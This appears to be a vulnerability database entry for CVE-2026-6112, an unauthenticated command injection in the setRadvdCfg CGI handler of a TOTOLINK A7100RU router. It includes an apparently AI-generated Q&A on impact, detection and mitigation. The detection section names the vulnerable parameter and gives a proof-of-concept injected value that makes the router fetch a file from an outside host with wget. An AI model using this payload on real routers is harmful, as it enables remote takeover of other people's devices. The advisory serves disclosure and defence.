CVE-2026-6112
OS Command Injection in Totolink A7100RU CGI Handler (setRadvdCfg
Publication date: 2026-04-12
Last updated on: 2026-04-12
Assigner: VulDB
Description
Description
CVSS Scores
EPSS Scores
| Probability: | |
| Percentile: |
Meta Information
Affected Vendors & Products
| Vendor | Product | Version / Range |
|---|---|---|
| totolink | a7100ru | 7.4cu.2313_b20191024 |
Helpful Resources
Exploitability
| CWE ID | Description |
|---|---|
| CWE-77 | The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component. |
| CWE-78 | The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. |
Attack-Flow Graph
AI Powered Q&A
Can you explain this vulnerability to me?
CVE-2026-6112 is a command injection vulnerability in the TOTOLINK A7100RU router, version 7.4cu.2313_b20191024. It exists in the CGI Handler component, specifically in the function setRadvdCfg within the /cgi-bin/cstecgi.cgi file. The vulnerability arises because the user-supplied parameter maxRtrAdvInterval is improperly handled and passed to system commands without sufficient validation.
An attacker can send a crafted HTTP POST request containing malicious commands in the maxRtrAdvInterval parameter. This causes the router to execute arbitrary operating system commands remotely, such as downloading files or running other harmful commands. The exploit has been publicly disclosed and demonstrated with a proof of concept.
How can this vulnerability impact me? :
This vulnerability allows remote attackers to execute arbitrary operating system commands on the affected router without any authentication. This can lead to full compromise of the device.
- Attackers could take control of the router, potentially intercepting or redirecting network traffic.
- They could install malware or create persistent backdoors.
- Sensitive information passing through the router could be exposed or manipulated.
- The overall security and availability of the network could be severely impacted.
How can this vulnerability be detected on my network or system? Can you suggest some commands?
This vulnerability can be detected by sending a crafted HTTP POST request to the endpoint /cgi-bin/cstecgi.cgi on the affected Totolink A7100RU router. The request should include the parameter maxRtrAdvInterval set to a command that can confirm command execution, such as a wget command to a controlled server.
For example, a proof of concept involves sending a POST request with maxRtrAdvInterval set to `wget 192.168.6.1:7777/testpoc`. If the router executes this command, it confirms the presence of the vulnerability.
Detection commands or steps include using tools like curl or wget to send the crafted POST request with the malicious payload and monitoring for any outbound connections or side effects indicating command execution.
How does this vulnerability affect compliance with common standards and regulations (like GDPR, HIPAA)?:
The vulnerability allows remote attackers to execute arbitrary operating system commands on the affected TOTOLINK A7100RU router. This could lead to unauthorized access, data breaches, or disruption of services.
Such unauthorized access and potential data compromise can negatively impact compliance with common standards and regulations like GDPR and HIPAA, which require protection of personal and sensitive data against unauthorized access and breaches.
Therefore, exploitation of this vulnerability could result in violations of these regulations due to failure to adequately secure network devices and protect data confidentiality and integrity.
What immediate steps should I take to mitigate this vulnerability?
To mitigate the CVE-2026-6112 vulnerability in the TOTOLINK A7100RU router, immediate steps include restricting remote access to the affected CGI interface (/cgi-bin/cstecgi.cgi) to trusted networks only.
Additionally, monitor network traffic for suspicious HTTP POST requests containing the maxRtrAdvInterval parameter, which could indicate exploitation attempts.
If possible, disable or restrict the vulnerable function setRadvdCfg or the CGI Handler component until a patch or firmware update is available from the vendor.
Applying any available firmware updates or patches from TOTOLINK addressing this vulnerability should be prioritized once released.